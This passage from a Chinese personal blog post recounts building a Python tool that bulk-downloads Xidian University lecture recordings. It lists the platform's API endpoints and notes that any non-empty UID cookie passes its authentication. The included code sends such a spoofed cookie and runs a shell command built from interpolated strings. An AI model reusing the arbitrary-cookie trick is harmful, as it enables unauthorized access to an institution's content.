href=\"https://blog.lsy223622.com/archives/56/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\"\u003e写在前面\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E7%AE%80%E4%BB%8B\"\u003e项目简介\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E5%9C%B0%E5%9D%80\"\u003e项目地址\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%8F%91%E8%BF%87%E7%A8%8B\"\u003e开发过程\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%A7%8B%E6%98%AF%E6%80%8E%E4%B9%88%E6%83%B3%E5%88%B0%E5%81%9A%E8%BF%99%E4%B8%AA%E7%9A%84%E5%91%A2\"\u003e开始是怎么想到做这个的呢?\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%B9%B2%E8%B6%85%E7%BA%A7%E6%B5%81%E6%B0%B4%E8%B4%A6%E7%8E%AF%E8%8A%82\"\u003e开干!(超级流水账环节!)\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E4%BD%BF%E7%94%A8%E6%BC%94%E7%A4%BA\"\u003e使用演示\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\"\u003e写在后面\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-写在前面\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在前面\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e其实是前段时间写的程序了,但是一直没有在博客上记录下来,现在终于想起来了就写一下。\u003c/li\u003e\n\u003cli\u003e本文主要是记录一下这个程序的开发过程。\u003c/li\u003e\n\u003cli\u003e\n\u003cdel\u003e纯纯流水账没啥好看的捏\u003c/del\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-项目简介\" href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E7%AE%80%E4%BB%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e项目简介\u003c/h1\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/tags\"\u003e\u003cimg src=\"https://img.shields.io/github/v/tag/lsy223622/XDUClassVideoDownloader\" alt=\"GitHub Tag\" loading=\"lazy\"/\u003e\u003c/a\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/releases/latest\"\u003e\u003cimg src=\"https://img.shields.io/github/release-date-pre/lsy223622/XDUClassVideoDownloader\" alt=\"GitHub Release Date\" loading=\"lazy\"/\u003e\u003c/a\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/releases\"\u003e\u003cimg src=\"https://img.shields.io/github/downloads/lsy223622/XDUClassVideoDownloader/total\" alt=\"GitHub Downloads (all assets, all releases)\" loading=\"lazy\"/\u003e\u003c/a\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/stargazers\"\u003e\u003cimg src=\"https://img.shields.io/github/stars/lsy223622/XDUClassVideoDownloader\" alt=\"GitHub Repo stars\" loading=\"lazy\"/\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e本项目是一个用于下载西安电子科技大学录直播平台课程视频的工具。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e只需输入任意一节课的 \u003ccode\u003eliveId\u003c/code\u003e,即可自动下载 \u003ccode\u003e单节课\u003c/code\u003e / \u003ccode\u003e单集(半节课)\u003c/code\u003e / \u003ccode\u003e该课程的所有视频\u003c/code\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ccode\u003eliveId\u003c/code\u003e 是课程直播的唯一标识,可以在课程直播页面的 URL 中找到。如:\u003ccode\u003ehttp://newesxidian.chaoxing.com/live/viewNewCourseLive1?liveId=12345678\u003c/code\u003e 中的 \u003ccode\u003e12345678\u003c/code\u003e。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e同时会保存选择下载的范围内所有视频的 m3u8 链接到对应的 \u003ccode\u003ecsv\u003c/code\u003e 表格中,方便使用其他方式下载。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下载时会自动检查之前是否下载过同一节课,如果已经下载则会跳过。所以可以在一学期中的多个时候随时下载新增的录播视频。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下载的视频按照课程和时间整理,下载多个课程的视频也不会冲突。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e文件夹和 \u003ccode\u003ecsv\u003c/code\u003e 表格命名规则:年份-课程号-课程名。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e课程视频命名规则:课程号-课程名-年月日-周次-节号-视频来源。、\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-项目地址\" href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E5%9C%B0%E5%9D%80\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e项目地址\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader\"\u003elsy223622/XDUClassVideoDownloader\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e项目介绍、使用方法、源代码和打包程序都在上面链接里,这里就不重复了哦~\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-开发过程\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%8F%91%E8%BF%87%E7%A8%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e开发过程\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-开始是怎么想到做这个的呢\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%A7%8B%E6%98%AF%E6%80%8E%E4%B9%88%E6%83%B3%E5%88%B0%E5%81%9A%E8%BF%99%E4%B8%AA%E7%9A%84%E5%91%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e开始是怎么想到做这个的呢?\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e期末复习的时候,发现学校的录直播平台上有很多课程的录播视频,但是没有下载的按钮,只能在线观看。\u003c/li\u003e\n\u003cli\u003e但是在线观看的时候经常会卡顿,而且有时候需要反复观看,所以想着能不能下载下来看。\u003c/li\u003e\n\u003cli\u003e开始想到了 IDM 的视频下载功能,但是体验真不算好:\n\u003cul\u003e\n\u003cli\u003e首先需要打开每个视频的播放页面,等待漫长的加载时间,IDM 才能检测到视频。\u003c/li\u003e\n\u003cli\u003e然后要在每个视频的角落里一个一个点用 IDM 下载,下完所有视频得累死。\u003c/li\u003e\n\u003cli\u003e而且下载的视频文件名也是随机的一串数字,需要手动整理。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e碰巧看到群友提到录直播平台有能获取一节课所有视频链接的接口,于是就想着能不能写一个脚本来批量下载视频。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-开干超级流水账环节\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%B9%B2%E8%B6%85%E7%BA%A7%E6%B5%81%E6%B0%B4%E8%B4%A6%E7%8E%AF%E8%8A%82\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e开干!(超级流水账环节!)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e根据群友提供的链接,使用 \u003ccode\u003eCurl\u003c/code\u003e 尝试了一下,确实能得到所有视频链接。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这个链接能使用一节课的 \u003ccode\u003eliveId\u003c/code\u003e 获取到这门课所有视频的信息,包括课程号、课程名称、教师名称、上课教室、上课时间、\u003ccode\u003eliveId\u003c/code\u003e 等信息,群友提供的链接参数非常复杂,我筛选测试之后发现只保留以下参数就能工作:\n\u003cul\u003e\n\u003cli\u003e接口链接:\u003ccode\u003ehttp://newesxidian.chaoxing.com/live/listSignleCourse\u003c/code\u003e(\u003ccode\u003eSingle\u003c/code\u003e 拼成了 \u003ccode\u003eSignle\u003c/code\u003e,程序员扣大分)\u003c/li\u003e\n\u003cli\u003eURL 参数:\u003ccode\u003eliveId=12345678\u003c/code\u003e(随便一节课就行,不一定要第一节课)\u003c/li\u003e\n\u003cli\u003eUser-Agent: \u003ccode\u003eMozilla/5.0\u003c/code\u003e(UA 感觉是黑名单制度,\u003ccode\u003ecurl\u003c/code\u003e 不定义 UA 能正常工作,但 Python 的 \u003ccode\u003erequests\u003c/code\u003e 就不行,所以我就随便填了这个,能用就行)\u003c/li\u003e\n\u003cli\u003eCookie: \u003ccode\u003eUID=2\u003c/code\u003e(非空就行,随便给个数字,这鉴权太草率了吧)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e这个链接能使用一节课的 \u003ccode\u003eliveId\u003c/code\u003e 获取到这节课的录播查看页面链接,返回链接的 URL 参数是一段 URL 编码后的 Json,解码后能得到三个视频的 m3u8 链接,包括 \u003ccode\u003epptVideo\u003c/code\u003e \u003ccode\u003eteacherTrack\u003c/code\u003e \u003ccode\u003estudentFull\u003c/code\u003e,分别是投影仪画面、教师画面(自动追踪)和教室学生画面(黑板左上角的摄像头对着整个教室拍,但这个视频下载下来大多是破碎的,也没啥用,网页上播放的时候是隐藏的)。同样是筛选清理之后的参数:\n\u003cul\u003e\n\u003cli\u003e接口链接:\u003ccode\u003ehttp://newesxidian.chaoxing.com/live/getViewUrlHls\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003eURL 参数:\u003ccode\u003eliveId=12345678\u0026amp;status=2\u003c/code\u003e(\u003ccode\u003estatus=2\u003c/code\u003e 好像是需要的,但我忘记为什么了)\u003c/li\u003e\n\u003cli\u003eUser-Agent: \u003ccode\u003eMozilla/5.0\u003c/code\u003e(同上)\u003c/li\u003e\n\u003cli\u003eCookie: \u003ccode\u003eUID=2\u003c/code\u003e(同上)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e然后我直接把这一堆请求、返回值、解析处理的逻辑发给 ChatGPT,让它实现获取一门课所有视频的 m3u8 链接和时间等信息并保存到一个 \u003ccode\u003ecsv\u003c/code\u003e 表格里的功能。多亏了 GPT-4o,给我提供了一段非常完美的 Python 代码。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看 ChatGPT 给出的代码(那时候请求参数还没清理)\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eimport subprocess\nimport json\nimport csv\nimport urllib.parse\n\ndef get_initial_data():\n curl_command = [\n \u0026#34;curl\u0026#34;, \u0026#34;http://newesxidian.chaoxing.com/live/listSignleCourse\u0026#34;,\n \u0026#34;--compressed\u0026#34;,\n \u0026#34;-X\u0026#34;, \u0026#34;POST\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;User-Agent: Mozilla/5.0 (Wayland; Linux x86_64; rv:120.1) Gecko/20100101 Firefox/120.1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept: application/json, text/javascript, */*; q=0.01\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Language: en-US,en;q=0.7,ja;q=0.3\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Encoding: gzip, deflate\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Content-Type: application/x-www-form-urlencoded; charset=UTF-8\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;X-Requested-With: XMLHttpRequest\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Origin: http://newesxidian.chaoxing.com\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;DNT: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Sec-GPC: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Connection: keep-alive\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Referer: http://newesxidian.chaoxing.com/live/viewNewCourseLive1?isStudent=1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Cookie: UID=9876\u0026#34;,\n \u0026#34;--data-raw\u0026#34;, \u0026#34;liveId=11740668\u0026#34;\n ]\n\n result = subprocess.run(curl_command, capture_output=True, text=True)\n return json.loads(result.stdout)\n\ndef get_m3u8_links(live_id):\n curl_command = [\n \u0026#34;curl\u0026#34;, f\u0026#34;http://newesxidian.chaoxing.com/live/getViewUrlHls?liveId={live_id}\u0026amp;status=2\u0026amp;jie=\u0026amp;isStudent=\u0026#34;,\n \u0026#34;--compressed\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;User-Agent: Mozilla/5.0\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept: */*\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Language: en-US,en;q=0.7,ja;q=0.3\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Encoding: gzip, deflate\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;X-Requested-With: XMLHttpRequest\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;DNT: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Sec-GPC: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Connection: keep-alive\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Referer: http://newesxidian.chaoxing.com/live/viewNewCourseLive1?isStudent=1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Cookie: UID=2\u0026#34;\n ]\n\n result = subprocess.run(curl_command, capture_output=True, text=True)\n response = result.stdout\n\n url_start = response.find(\u0026#39;info=\u0026#39;)\n if url_start == -1:\n raise ValueError(\u0026#34;info parameter not found in the response\u0026#34;)\n\n encoded_info = response[url_start + 5:]\n decoded_info = urllib.parse.unquote(encoded_info)\n info_json = json.loads(decoded_info)\n\n video_paths = info_json.get(\u0026#39;videoPath\u0026#39;, {})\n ppt_video = video_paths.get(\u0026#39;pptVideo\u0026#39;, \u0026#39;\u0026#39;)\n teacher_track = video_paths.get(\u0026#39;teacherTrack\u0026#39;, \u0026#39;\u0026#39;)\n student_full = video_paths.get(\u0026#39;studentFull\u0026#39;, \u0026#39;\u0026#39;)\n\n return ppt_video, teacher_track, student_full\n\ndef main():\n data = get_initial_data()\n\n rows = []\n for entry in data:\n live_id = entry[\u0026#34;id\u0026#34;]\n month = entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;]\n date = entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n\n ppt_video, teacher_track, student_full = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track, student_full]\n rows.append(row)\n\n with open(\u0026#39;m3u8.csv\u0026#39;, mode=\u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as file:\n writer = csv.writer(file)\n writer.writerow([\u0026#39;month\u0026#39;, \u0026#39;date\u0026#39;, \u0026#39;day\u0026#39;, \u0026#39;jie\u0026#39;, \u0026#39;days\u0026#39;, \u0026#39;pptVideo\u0026#39;, \u0026#39;teacherTrack\u0026#39;, \u0026#39;studentFull\u0026#39;])\n writer.writerows(rows)\n\n print(\u0026#34;m3u8.csv 文件已创建并写入数据。\u0026#34;)\n\nif __name__ == \u0026#34;__main__\u0026#34;:\n main()\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我之前并没有写过 Python 程序,于是按照习惯让 ChatGPT 在 Python 中调用 \u003ccode\u003eCurl\u003c/code\u003e 命令行。之后经群友提醒换成了 Python 的 \u003ccode\u003erequests\u003c/code\u003e 库,这样代码更简洁,无需调用外部程序。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看改用 requests 库的第一段请求代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef get_initial_data():\nurl = \u0026#34;http://newesxidian.chaoxing.com/live/listSignleCourse\u0026#34;\nheaders = {\n \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Wayland; Linux x86_64; rv:120.1) Gecko/20100101 Firefox/120.1\u0026#34;,\n \u0026#34;Accept\u0026#34;: \u0026#34;application/json, text/javascript, */*; q=0.01\u0026#34;,\n \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-US,en;q=0.7,ja;q=0.3\u0026#34;,\n \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;,\n \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded; charset=UTF-8\u0026#34;,\n \u0026#34;X-Requested-With\u0026#34;: \u0026#34;XMLHttpRequest\u0026#34;,\n \u0026#34;Origin\u0026#34;: \u0026#34;http://newesxidian.chaoxing.com\u0026#34;,\n \u0026#34;DNT\u0026#34;: \u0026#34;1\u0026#34;,\n \u0026#34;Sec-GPC\u0026#34;: \u0026#34;1\u0026#34;,\n \u0026#34;Connection\u0026#34;: \u0026#34;keep-alive\u0026#34;,\n \u0026#34;Referer\u0026#34;: \u0026#34;http://newesxidian.chaoxing.com/live/viewNewCourseLive1?isStudent=1\u0026#34;,\n \u0026#34;Cookie\u0026#34;: \u0026#34;UID=9876\u0026#34;\n}\ndata = {\n \u0026#34;liveId\u0026#34;: \u0026#34;11740668\u0026#34;\n}\n\nresponse = requests.post(url, headers=headers, data=data)\nresponse.raise_for_status()\nreturn response.json()\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e程序一动不动地在那里默默干活肯定不行,我们也需要知道它有没有死,于是使用 \u003ccode\u003etqdm\u003c/code\u003e 加了一个进度条。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 tqdm 的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003efor entry in tqdm(data, desc=\u0026#34;Processing entries\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n month = entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;]\n date = entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n\n ppt_video, teacher_track, student_full = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track, student_full]\n rows.append(row)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e获取到 m3u8 链接之后,就可以让它调用下载程序下载视频了。这里我使用了 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/nilaoda/N_m3u8DL-RE\"\u003eN_m3u8DL-RE\u003c/a\u003e,因为 m3u8 是一种索引文件,里面包含了视频的分段链接,\u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 可以自动下载并合并这些分段视频。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 subprocess 调用 N_m3u8DL-RE 的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003ecommand = f\u0026#39;N_m3u8DL-RE.exe \u0026#34;{url}\u0026#34; --save-dir \u0026#34;m3u8\u0026#34; --save-name \u0026#34;{filename}\u0026#34;\u0026#39;\nsubprocess.run(command, shell=True, check=True)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e为了让文件名信息丰富易于整理,按照“courseCodecourseNamex年x月x日第days周星期day第jie节-pptVideo/teacherTrack”的格式命名,星期几转换成更加符合习惯的汉字。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看文件名命名代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef day_to_chinese(day):\n days = [\u0026#34;日\u0026#34;, \u0026#34;一\u0026#34;, \u0026#34;二\u0026#34;, \u0026#34;三\u0026#34;, \u0026#34;四\u0026#34;, \u0026#34;五\u0026#34;, \u0026#34;六\u0026#34;]\n return days[day]\n\nfor row in tqdm(rows, desc=\u0026#34;Downloading videos\u0026#34;):\n month, date, day, jie, days, ppt_video, teacher_track, student_full = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-pptVideo\u0026#34;\n download_m3u8(ppt_video, filename)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-teacherTrack\u0026#34;\n download_m3u8(teacher_track, filename)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e接口提供的信息没有年份,倒是有时间戳。如果是重修的话一门课就会上不止一次,为了可以收藏不同学年的同一节课,改成用时间戳转换得到年月日。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看时间戳转换代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003estart_time_unix = start_time / 1000\nstart_time_struct = time.gmtime(start_time_unix)\nmonth = start_time_struct.tm_mon\ndate = start_time_struct.tm_mday\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断是否存在已经下载的视频,存在就跳过下载。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看更新后的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003efor row in tqdm(rows, desc=\u0026#34;Downloading videos\u0026#34;):\n month, date, day, jie, days, ppt_video, teacher_track = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-pptVideo\u0026#34;\n filepath = os.path.join(save_dir, f\u0026#34;{filename}.ts\u0026#34;)\n if os.path.exists(filepath):\n print(f\u0026#34;{filepath} 已存在,跳过下载。\u0026#34;)\n else:\n download_m3u8(ppt_video, filename, save_dir)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-teacherTrack\u0026#34;\n filepath = os.path.join(save_dir, f\u0026#34;{filename}.ts\u0026#34;)\n if os.path.exists(filepath):\n print(f\u0026#34;{filepath} 已存在,跳过下载。\u0026#34;)\n else:\n download_m3u8(teacher_track, filename, save_dir)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e感谢群友 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/chitao1234\"\u003echi(Waylandhater\u003c/a\u003e 提出的添加命令行使用方法和单个视频下载模式,并且十分贴心地发了 pull request,直接帮我搞定了。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加命令行使用方法的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003efrom argparse import ArgumentParser\n\ndef main(liveid_from_cli=None, command=\u0026#39;\u0026#39;):\nwhile True:\n if liveid_from_cli:\n input_live_id = liveid_from_cli\n liveid_from_cli = None\n else:\n input_live_id = input(\u0026#34;请输入 liveId:\u0026#34;)\n......\n\ndef parse_arguments():\n parser = ArgumentParser(description=\u0026#39;用于下载西安电子科技大学录直播平台课程视频的工具\u0026#39;)\n parser.add_argument(\u0026#39;liveid\u0026#39;, nargs=\u0026#39;?\u0026#39;, default=None, help=\u0026#39;直播ID,不输入则采用交互式方式获取\u0026#39;)\n parser.add_argument(\u0026#39;-c\u0026#39;, \u0026#39;--command\u0026#39;, default=\u0026#39;\u0026#39;, help=\u0026#39;自定义下载命令,使用 {url}, {save_dir}, {filename} 作为替换标记\u0026#39;)\n\n args = parser.parse_args()\n return args\n\nif __name__ == \u0026#34;__main__\u0026#34;:\n args = parse_arguments()\n main(liveid_from_cli=args.liveid, command=args.command)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加单个视频下载模式的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef main(liveid_from_cli=None, command=\u0026#39;\u0026#39;, single=False):\nwhile True:\n if liveid_from_cli:\n input_live_id = liveid_from_cli\n......\n\nfor entry in tqdm(data, desc=\u0026#34;Processing entries\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n if single and str(live_id) != input_live_id:\n continue\n......\n\n parser.add_argument(\u0026#39;-s\u0026#39;, \u0026#39;--single\u0026#39;, default=False, action=\u0026#39;store_true\u0026#39;, help=\u0026#39;仅下载单集视频\u0026#39;)\n......\n\nif __name__ == \u0026#34;__main__\u0026#34;:\nargs = parse_arguments()\nmain(liveid_from_cli=args.liveid, command=args.command, single=args.single)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e群友说代码开头要加一行 shebang,我就加了一行 shebang。这 shebang 有啥用呢?我也不知道,但网上一搜说是在 Linux 上运行要用的,指定执行这个代码的程序路径。这行一加,看起来代码没啥变化,结果 Windows 上双击运行不起来了,按说是行注释吧,但是双击之后就是闪退。你们 Linux 真的是(指指点点)。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加的 shebang\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e那行吧,为了照顾 Linux 用户,这 shebang 就留着了。那 Windows 怎么办?我加了一个 \u003ccode\u003ebat\u003c/code\u003e 文件,双击这个 \u003ccode\u003ebat\u003c/code\u003e 文件就能正常运行了。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加的 windows_run.bat 文件\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-bat\"\u003e@echo off\npython XDUClassVideoDownloader.py %*\npause\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e非常美丽脚本,这使我的运行环境旋转。我突然觉得每个用户在使用之前都照着 Readme 配一遍运行环境也太麻烦了,而且对小白用户来说也不友好,于是想到了把运行环境打包进去,这样用户只需要下载一个文件就能直接运行了。使用 \u003ccode\u003epyinstaller\u003c/code\u003e 打包之后就能得到一个 \u003ccode\u003eXDUClassVideoDownloader.exe\u003c/code\u003e 文件,不用配环境,双击就能运行了。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看打包命令\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-shell\"\u003epip install pyinstaller\npython -m venv .venv\n.venv\\Scripts\\activate\npip install requests tqdm\npyinstaller --onefile --add-data \u0026#34;N_m3u8DL-RE.exe;.\u0026#34; --add-data \u0026#34;ffmpeg.exe;.\u0026#34; XDUClassVideoDownloader.py\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e打包用的脚本最后需要添加一行,使它在执行结束之后不会自己关闭窗口,等按回车之后才会关闭。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看等待输入的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode 